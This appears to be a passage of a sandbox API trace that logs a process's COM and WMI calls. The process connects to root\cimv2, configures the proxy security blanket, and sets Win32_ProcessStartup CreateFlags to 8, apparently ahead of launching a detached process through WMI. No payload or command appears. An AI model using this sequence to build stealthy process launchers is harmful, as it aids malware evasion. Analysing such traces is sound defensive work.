IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0063.362] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0063.362] IUnknown:Release (This=0x111f638) returned 0x1 [0063.364] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x1bf2ac00) returned 0x0 [0063.365] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf2ac00, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0063.365] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf2ac00, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x119c0e0) returned 0x0 [0063.365] WbemDefPath:IUnknown:Release (This=0x1bf2ac00) returned 0x0 [0063.365] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c0e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x119c0e0) returned 0x0 [0063.365] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c0e0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0063.365] WbemDefPath:IUnknown:AddRef (This=0x119c0e0) returned 0x3 [0063.365] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c0e0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0063.365] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c0e0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0063.365] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c0e0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x1bf2ac40) returned 0x0 [0063.365] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf2ac40, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0063.365] WbemDefPath:IUnknown:Release (This=0x1bf2ac40) returned 0x3 [0063.365] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0063.365] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0063.365] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c0e0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0063.365] WbemDefPath:IUnknown:Release (This=0x119c0e0) returned 0x2 [0063.366] WbemDefPath:IUnknown:Release (This=0x119c0e0) returned 0x1 [0063.366] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0063.366] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0063.366] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c0e0, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x119c0e0) returned 0x0 [0063.366] WbemDefPath:IUnknown:AddRef (This=0x119c0e0) returned 0x3 [0063.366] WbemDefPath:IUnknown:Release (This=0x119c0e0) returned 0x2 [0063.366] WbemDefPath:IWbemPath:SetText (This=0x119c0e0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0063.366] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119c0e0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0063.366] WbemDefPath:IWbemPath:GetText (in: This=0x119c0e0, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0063.366] WbemDefPath:IWbemPath:GetText (in: This=0x119c0e0, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0063.366] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0063.366] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0063.366] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0063.366] IUnknown:Release (This=0x111f638) returned 0x1 [0063.367] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x1bf2ad40) returned 0x0 [0063.367] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf2ad40, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0063.367] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bf2ad40, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x1bf2ad60) returned 0x0 [0063.367] WbemLocator:IUnknown:Release (This=0x1bf2ad40) returned 0x0 [0063.367] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf2ad60, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x1bf2ad60) returned 0x0 [0063.367] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf2ad60, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0063.368] WbemLocator:IUnknown:AddRef (This=0x1bf2ad60) returned 0x3 [0063.368] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf2ad60, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0063.368] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf2ad60, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0063.368] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf2ad60, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0063.368] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0063.368] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0063.368] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf2ad60, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0063.368] WbemLocator:IUnknown:Release (This=0x1bf2ad60) returned 0x2 [0063.368] WbemLocator:IUnknown:Release (This=0x1bf2ad60) returned 0x1 [0063.368] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0063.368] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0063.368] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf2ad60, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x1bf2ad60) returned 0x0 [0063.368] WbemLocator:IUnknown:AddRef (This=0x1bf2ad60) returned 0x3 [0063.368] WbemLocator:IUnknown:Release (This=0x1bf2ad60) returned 0x2 [0063.368] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119c0e0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0063.368] WbemDefPath:IWbemPath:GetText (in: This=0x119c0e0, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0063.368] WbemDefPath:IWbemPath:GetText (in: This=0x119c0e0, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0063.368] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x1bf2ad80) returned 0x0 [0063.368] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bf2ad80, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x1bf28f80) returned 0x0 [0063.646] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf28f80, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x11e0620) returned 0x0 [0063.646] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11e0620, pProxy=0x1bf28f80, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0063.646] WbemLocator:IUnknown:Release (This=0x11e0620) returned 0x1 [0063.646] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf28f80, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x11e0660) returned 0x0 [0063.646] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf28f80, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x11e0620) returned 0x0 [0063.646] WbemLocator:IClientSecurity:SetBlanket (This=0x11e0620, pProxy=0x1bf28f80, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0063.646] WbemLocator:IUnknown:Release (This=0x11e0620) returned 0x2 [0063.646] WbemLocator:IUnknown:Release (This=0x11e0660) returned 0x1 [0063.646] CoTaskMemFree (pv=0x1beee360) [0063.647] WbemLocator:IUnknown:AddRef (This=0x1bf28f80) returned 0x2 [0063.647] WbemLocator:IUnknown:Release (This=0x1bf2ad80) returned 0x0 [0063.647] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0063.647] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0063.647] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf28f80, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x11e0630) returned 0x0 [0063.648] WbemLocator:IRpcOptions:Query (in: This=0x11e0630, pPrx=0x1bf2ade0, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0063.648] WbemLocator:IUnknown:Release (This=0x11e0630) returned 0x2 [0063.648] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0063.648] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0063.648] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf28f80, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x1bf28f80) returned 0x0 [0063.648] WbemLocator:IUnknown:Release (This=0x1bf28f80) returned 0x2 [0063.648] SysStringLen (param_1=0x0) returned 0x0 [0063.648] WbemDefPath:IWbemPath:GetText (in: This=0x119c020, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0063.648] WbemDefPath:IWbemPath:GetText (in: This=0x119c020, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0063.649] IWbemServices:GetObject (in: This=0x1bf28f80, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x1bef6620, ppCallResult=0x0) returned 0x0 [0063.650] IWbemClassObject:Get (in: This=0x1bef6620, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0063.651] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0063.651] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0063.651] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0063.651] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0063.651] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0063.651] IUnknown:Release (This=0x111f638) returned 0x1 [0063.653] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x1bf2ad80) returned 0x0 [0063.654] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf2ad80, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0063.654] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf2ad80, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x119c1a0) returned 0x0 [0063.654] WbemDefPath:IUnknown:Release (This=0x1bf2ad80) returned 0x0 [0063.654] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c1a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x119c1a0) returned 0x0 [0063.654] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c1a0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0063.654] WbemDefPath:IUnknown:AddRef (This=0x119c1a0) returned 0x3 [0063.654] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c1a0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0063.654] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c1a0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0063.654] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c1a0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x1bf2ada0) returned 0x0 [0063.655] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf2ada0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0063.655] WbemDefPath:IUnknown:Release (This=0x1bf2ada0) returned 0x3 [0063.655] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0063.655] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0063.655] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c1a0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0063.655] WbemDefPath:IUnknown:Release (This=0x119c1a0) returned 0x2 [0063.655] WbemDefPath:IUnknown:Release (This=0x119c1a0) returned 0x1 [0063.655] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0063.655] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0063.655] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c1a0, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x119c1a0) returned 0x0 [0063.655] WbemDefPath:IUnknown:AddRef (This=0x119c1a0) returned 0x3 [0063.655] WbemDefPath:IUnknown:Release (This=0x119c1a0) returned 0x2 [0063.655] WbemDefPath:IWbemPath:SetText (This=0x119c1a0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0063.655] IWbemClassObject:Get (in: This=0x1bef6620, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a8ae08*=0, plFlavor=0x2a8ae0c*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a8ae08*=19, plFlavor=0x2a8ae0c*=0) returned 0x0 [0063.655] IWbemClassObject:Get (in: This=0x1bef6620, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a8ae08*=19, plFlavor=0x2a8ae0c*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a8ae08*=19, plFlavor=0x2a8ae0c*=0) returned 0x0 [0063.656] IWbemClassObject:Put (This=0x1bef6620, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0063.656] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bf60, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0063.656] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0063.656] 